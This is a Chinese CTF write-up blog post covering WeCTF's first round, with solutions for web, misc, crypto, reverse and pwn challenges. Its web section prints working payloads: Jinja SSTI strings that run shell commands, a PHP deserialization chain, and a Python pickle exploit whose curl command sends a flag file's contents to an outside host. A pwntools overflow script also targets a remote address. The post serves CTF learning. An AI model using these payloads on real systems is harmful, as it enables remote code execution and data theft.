WeCTF第一期wp

WEB

web签到题

直接看源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>flag is here</title>
</head>
<body>
看不到 flag 吗?
<!-- wectf{the_iiiis_flag} -->
</body>
</html>

拿到flag

1
wectf{the_iiiis_flag}

easy01

看源代码

1
you need get a name!<!-- $_GET["name"] === "wectf" -->

简单GET传参。

1
index.php?name=wectf

拿到flag

1
wectf{1e2e3c4a5d6c123d456eaec456789f} 

medium01

1
2
3
4
5
6
7
8
9
10
11
 <?php
highlight_file("source.php");
if(isset($_GET['a']))
{
$a = trim($_GET['a']);
if($a>999999 and strlen($a)<5)
{
echo "wectf{xxxxxxxxxxxxxxx}";
}
}
?>

值大于999999长度小于五,可以用科学计数法绕过。

1
index.php?a=9e9

拿到flag

1
wectf{eeeeeeeee_is_low}

medium02

1
2
3
4
5
6
7
8
9
10
11
12
13
 <?php
error_reporting(0);
highlight_file("source.php");
$name = $_COOKIE['pass'];
if($name == "password")
{
extract($_POST);
if($name == "isnotonly")
{
echo "wectf{xxxxxxxxxxxxxx}";
}
}
?>

变量覆盖。
先设置一对cookie键值对pass=password
然后再post一个name=isnotonly
拿到flag

1
wectf{flag_1s_here}

easy02

访问提示ip禁止访问。
尝试添加X-Forwared-For:127.0.0.1绕过。
拿到flag

1
wectf{X_FORWARDED_FOR_is} 

high02

查看源代码

1
Hello guest<!-- get a name -->

提示get a name,用GET方法传入一个name。
发现传入的值会回显回来。
看一下消息头显示是Server:gunicorn/19.9.0
考虑是flask的ssti。
测试

1
?name={{1*2}}

回显Hello 2
测试命令执行

1
?name={% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings'%}{{c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}{% endif %}{% endfor %}

回显Hello uid=33(www-data) gid=33(www-data) groups=33(www-data)
读flag

1
?name={% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings'%}{{c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat flag.txt').read()") }}{% endif %}{% endfor %}
1
wectf{what_a_easy_ssti}

Crazy1

php反序列化题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
 <?php
class O00O
{
public $value;
public function __destruct()
{
$this->value->func1();
}
}
class GetFlag
{
public function get_flag()
{
echo "flag{xxxxxxxxxxxxxxxxx}";
}
}
class ina
{
public $value;
public function __toString()
{
$this->value->get_flag();
return "1";
}
}
class Call
{
public $value;
public function func1()
{
$this->value->func2();
}
}
class Func_m
{
public $value1;
public $value2;
public function __invoke()
{
$this->value2 = "flag".$this->value1;
}
}
class Func_t
{
public $value;
public function __call($func2,$a)
{
$func = $this->value;
$func();
}
}
error_reporting(0);
highlight_file("source.php");
if(isset($_GET['name'])){
$name = $_GET['name'];
if(strlen($name) < 10){
extract($_POST);
unserialize($name);
}
}

?>

又用到了变量覆盖,主要还是反序列化。
理清楚逻辑即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
 <?php
header("Content-type: text/html; charset=utf-8");
//O00O->Call->Func_t->Func_m->ina->GetFlag
class O00O
{
public $value; //应为Call对象
public function __destruct() //当对象所在函数调用完毕后执行。
{
$this->value->func1();
}
}
class GetFlag
{
public function get_flag()
{
echo "flag{xxxxxxxxxxxxxxxxx}";
}
}
class ina
{
public $value; //应为GetFlag类对象
public function __toString() //当对象被当做一个字符串使用时调用。
{
$this->value->get_flag();
return "1";
}
}
class Call
{
public $value; //应为Func_t对象
public function func1()
{
$this->value->func2();
}
}
class Func_m
{
public $value1; //应为ina
public $value2;
public function __invoke() //当尝试以调用函数的方式调用一个对象时,该方法会被自动调用
{
$this->value2 = "flag".$this->value1;
}
}
class Func_t
{
public $value; //应为Func_m对象
public function __call($func2,$a) //当调用对象中不存在的方法会自动调用该方法。
{
$func = $this->value;
$func();
}
}
?>

直接写脚本生成payload了

1
2
3
4
5
6
7
8
9
10
11
.
.
.
$a=new O00O();
$a->value=new Call();
$a->value->value=new Func_t();
$a->value->value->value=new Func_m();
$a->value->value->value->value1=new ina();
$a->value->value->value->value1->value=new GetFlag();
print(serialize($a));
//O:4:"O00O":1:{s:5:"value";O:4:"Call":1:{s:5:"value";O:6:"Func_t":1:{s:5:"value";O:6:"Func_m":2:{s:6:"value1";O:3:"ina":1:{s:5:"value";O:7:"GetFlag":0:{}}s:6:"value2";N;}}}}

先GET

1
?name=1

再POST

1
name=O:4:"O00O":1:{s:5:"value";O:4:"Call":1:{s:5:"value";O:6:"Func_t":1:{s:5:"value";O:6:"Func_m":2:{s:6:"value1";O:3:"ina":1:{s:5:"value";O:7:"GetFlag":0:{}}s:6:"value2";N;}}}}

拿到flag

1
flag{unserialize_php_O00O}

high03

给了附件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import pickle
from flask import Flask, request

app = Flask(__name__)

@app.route('/', methods=['POST', 'GET'])
def index():
if request.method == 'POST':
a = request.form['a']
pickle.loads(a)
username = "admin"
else:
username = "guest"
return "hostname : %s " % username
if __name__ == "__main__":
app.run()

python反序列化。
写脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import pickle
import requests
import os

class exp(object):
def __reduce__(self):
return (os.system,("curl http://x.x.x.x?`cat flag.txt`",))


if __name__ == '__main__':
data = pickle.dumps(exp())
payload = {
'a':str(data)}
r = requests.post("http://119.23.236.68:63008/",data=payload)
print r.text

一开始执行cat flag.txt,但是并不会返回到页面上,所以直接把flag当参数去请求xss接收平台,然后在后台拿到flag

1
wectf{just_fanxuliehua_python}

easy03

消息头直接看到flag

medium03

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
 <?php
highlight_file('source.php');
error_reporting(0);
$flag = 'wectf{xxxxxxxxxxxxxxxx}';
if (isset($_GET['name']) and isset($_GET['username']) and isset($_POST['password'])) {
if ($_GET['username'] == $_POST['password']){
die('exit');
}
else if(sha1($_GET['username']) === sha1($_POST['password']))
{
$name = urldecode($_GET['name']);
if ($name === 'wectf!@#$wectf')
{
die('Flag: '.$flag);
}
}
}
?>

对于

1
2
$_GET['username'] == $_POST['password']
sha1($_GET['username']) === sha1($_POST['password'])

可以用数组类型去绕过

1
2
3
4
GET
username[]=a
POST
password[]=b

然后

1
$name = urldecode($_GET['name']);

这里需要对wectf!@#$wectf进行两次url编码,浏览器解码一次,php解码一次

1
name=wectf!%2540%2523%2524wectf

拿到flag

1
wectf{e2e123acef456789d132f456c13}

misc

rot13

1
2
3
flag = "xxxxxxxxxxxxxxxx"
print flag.encode('rot13')
#jrpgs{E0g13_fb_rnfl_jr1p0zr_gb_jrpgs}

直接decode(‘rot13’)即可

1
wectf{R0t13_so_easy_we1c0me_to_wectf}

贝斯家族

你听说过大名鼎鼎的贝斯(base)家族吗?
4D515A464D32544549354E444F574C4B4B4A35465556525950424D57594F4B474A565744514D535A4C415944323D3D3D
使用base16 32 64依次解密

1
wectf{b4se_1b_E2_6a}

babypcap

简单流量分析
下载附件,wireshark打开
先过滤出http协议,然后追踪tcp流,胡乱分析。
最后切换到tcp流1的时候看到flag

ascii

77656374667b315f346d5f66346b655f08080808085f666c34677d
直接hex解码

但是

将乱码删掉,提交,不行。
再把f4ke删掉得到正确flag,真就猜呗。

这是个啥东西

下载附件发现是张png,打不开。
winhex打开,修复文件头,找一张正常的png对比修复。
修复完正常打开。

crypto

签到

flag在群公告

老套的md5

小明泼墨水了,墨水泼到 wectf 的flag上面了,明文中有三个字符被挡住了,巧的很,明文的md5值咱们知道,而且他没有被泼墨水,简单了吧

明文:wectf{ab?def?hijklm?opq}

密文:84e7ab5946fb4c5d94ed891c42d5fac6

md5_exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import hashlib, string


def md5(s):
m = hashlib.md5()
m.update(s.encode('utf8'))
return m.hexdigest()


dic = string.ascii_letters + string.digits

for i in dic:
for j in dic:
for k in dic:
s = "wectf{ab" + i + "def" + j + "hijklm" + k + "opq}"
if md5(s) == "84e7ab5946fb4c5d94ed891c42d5fac6":
print(s)

babyRSA

下载附件

1
2
3
4
5
6
7
8
9
10
from Crypto.Util.number import bytes_to_long
flag = raw_input("flag : ")
tmp = bytes_to_long(flag)
n = 47966708183289639962501363163761864399454241691014467172805658518368423135168025285144721028476297179341434450931955275325060173656301959484440112740411109153032840150659
e = 3
c = pow(tmp, e, n)
if c == 1495572858946434740124351882099461657145759077753704214627609673423129831012766355967962871807110976347627163520955975614562262871102943487213224386685367602432775269:
print "you get it!"
else:
print "Too Young, Too simple!"

e=3,密文开三次方即是明文
rsa_exp.py

1
2
3
4
5
6
7
8
9
10
import gmpy
c=1495572858946434740124351882099461657145759077753704214627609673423129831012766355967962871807110976347627163520955975614562262871102943487213224386685367602432775269
n=47966708183289639962501363163761864399454241691014467172805658518368423135168025285144721028476297179341434450931955275325060173656301959484440112740411109153032840150659
i=0
while 1:
if(gmpy.root(c+i*n, 3)[1]==1):
print gmpy.root(c+i*n, 3)
break
i=i+1


将根转16进制后hex解码

guess

密文:U2FsdGVkX19x8Dq5FttochQw/lMz8C5gFD6PQjKZvtxBjb0Sab8cIqXqBpMne5vx
直接aes解密

cxk=xcp

下载附件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
lowercase = "abcdefghijklnmopqrstuvqxyz"
uppercase = "ABCDEFGHIJKLMNOPQRSTUVQXYZ"
digest = "0123456789"
plaintext = "what are you doing? you can join crypt group. flag is wectf{xxxxxxxxxxxxx}"
ciphertext = ""
for i in range(len(plaintext)):
if plaintext[i] in lowercase:
enc = ord('a') + (ord('z') - ord(plaintext[i])) % 26
elif plaintext[i] in uppercase:
enc = ord('A') + (ord('Z') - ord(plaintext[i])) % 26
elif plaintext[i] in digest:
enc = ord('0') + (ord('9') - ord(plaintext[i])) % 10
else:
enc = ord(plaintext[i])
ciphertext += chr(enc)
print(ciphertext)
## ciphertext : wszg ziv blf wlrmt? blf xzm qlrm xibkg tilfk. uozt rh wvxgu{hzev_h5ev_nv}

直接改脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import string

dic = string.ascii_letters + string.digits
lowercase = "abcdefghijklnmopqrstuvqxyz"
uppercase = "ABCDEFGHIJKLMNOPQRSTUVQXYZ"
digest = "0123456789"
plaintext = "what are you doing? you can join crypt group. flag is wectf{xxxxxxxxxxxxx}"
ciphertext = ""
for i in range(len(plaintext)):
if plaintext[i] in lowercase:
enc = ord('a') + (ord('z') - ord(plaintext[i])) % 26
elif plaintext[i] in uppercase:
enc = ord('A') + (ord('Z') - ord(plaintext[i])) % 26
elif plaintext[i] in digest:
enc = ord('0') + (ord('9') - ord(plaintext[i])) % 10
else:
enc = ord(plaintext[i])
ciphertext += chr(enc)
print(ciphertext)
## ciphertext : wszg ziv blf wlrmt? blf xzm qlrm xibkg tilfk. uozt rh wvxgu{hzev_h5ev_nv}
print(dic)
ciphertext = ""
for i in range(len(dic)):
if dic[i] in lowercase:
enc = ord('a') + (ord('z') - ord(dic[i])) % 26
elif dic[i] in uppercase:
enc = ord('A') + (ord('Z') - ord(dic[i])) % 26
elif dic[i] in digest:
enc = ord('0') + (ord('9') - ord(dic[i])) % 10
else:
enc = ord(dic[i])
ciphertext += chr(enc)
print(ciphertext)

abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789
zyxwvutsrqponmlkjihgfewcbaZYXWVUTSRQPONMLKJIHGFEWCBA9876543210
得到处理后的映射关系
对照密文还原明文

1
wectf{save_s4ve_me}

reverse

xor_linux

下载附件

简单异或

1
2
3
s = "vdbugzy1s^r1^d5rx|"
for i in s:
print(chr(ord(i)^1),end="")
1
wectf{x0r_s0_e4sy}

cmp


有strcmp动作,跟进直接看到分段的flag

assembly

汇编

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
push    rbp
mov rbp, rsp
sub rsp, 10h
mov [rbp+var_4], 0
jmp short s1

s2:
mov eax, [rbp+var_4]
cdqe
movzx eax, s[rax]
add eax, 14h
mov edx, eax
mov eax, [rbp+var_4]
cdqe
mov s[rax], dl
add [rbp+var_4], 1

s1:
cmp [rbp+var_4], 25h
jle short s2
mov esi, offset s
mov edi, offset format ; "%s"
mov eax, 0
call _printf
mov eax, 0
leave
retn

s的数据为:
52 58 4D 53 67 51 22 4F 1C 52 23 4E 52 1C 50 4D 1F 52 1D 4F 23 23 4F 22 50 4F 4E 4F 23 1D 4D 20 21 1c 4d 21 1e 69

给一个变量赋值为0,然后跳到s1

1
2
cmp     [rbp+var_4], 25h
jle short s2

当var_4小于等于25h即十进制的37时调用s2,这个是循环38次,看一下s的数据刚好有38个,跟进s2分析。

1
2
3
4
5
6
7
8
9
10
s2:
mov eax, [rbp+var_4]
cdqe
movzx eax, s[rax]
add eax, 14h
mov edx, eax
mov eax, [rbp+var_4]
cdqe
mov s[rax], dl
add [rbp+var_4], 1

s2中对传进来的字符加14h即20,所以我们只需要将s的数据减去20即可。

1
2
3
4
5
6
data="52 58 4D 53 67 51 22 4F 1C 52 23 4E 52 1C 50 4D 1F 52 1D 4F 23 23 4F 22 50 4F 4E 4F 23 1D 4D 20 21 1c 4d 21 1e 69"
data=data.split(" ")
for i in data:
a="0x"+i
a=int(a,16)+20
print(chr(a),end="")
1
flag{e6c0f7bf0da3f1c77c6dcbc71a450a52}

base64

这个 base64 有点特别

s2为密文

跟进4006D6

base64加密函数,但是在加密前会将字母表前移一位,变异base64。

1
2
3
4
5
6
import base64
a = "@ABCDEFGHIJKLMNOPQRSTUVWXY`abcdefghijklmnopqrstuvwxy/012345678*."
b = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
base_fix = "YlwgY2r2NCb4LSIkMlHyXiQiLyIlMiTwYSYhNSD/LyfxYSMgNW/="
table = ''.maketrans(a, b)
print(base64.b64decode(base_fix.translate(table)))

改一下映射关系即可

1
flag{787912e6b3b4c32f651e6b914382e3a9}

sign_in


.net直接上工具
看按钮点击函数

进行了AES加密,然后对比this.cmp

AES加密函数

在线工具

king


字符处理,看一下密文

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import string
m = "2k6915l15j7ikmml2i470j1648h79717"
dic = string.ascii_letters
# 大写 65~90 小写 97~122
# 如果是大写先减65加7最后模26+65
# 如果是小写写先减97加7最后模26+67
for i in m:
flag = 0
for j in dic:
if i.islower() & (chr((ord(j) - 97 + 7) % 26 + 97) == i):
print(j, end="")
flag = 1
break
elif i.isupper() & (chr((ord(j) - 65 + 7) % 26 + 65) == i):
print(j, end="")
flag = 0
break
if (flag):
continue
print(i,end="")
1
wectf{2d6915e15c7bdffe2b470c1648a79717}

pwn

BOF

没什么好说的,覆盖就完了

v4可控

1
2
char v4; // [rsp+0h] [rbp-20h]
int v5; // [rsp+1Ch] [rbp-4h]

20h-4h=32-4=28

1
2
3
4
5
6
from pwn import *
p = remote("39.98.246.99","10035")
#p.recvuntil('>')
payload = 'a'*28 + p32(1)
p.sendline(payload)
p.interactive()

nc签到


循环5次,输入的值相加等于1311768467463790320即可

文章作者: SNCKER
文章链接: https://sncker.github.io/blog/2019/10/07/WeCTF第一期wp/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 SNCKER's blog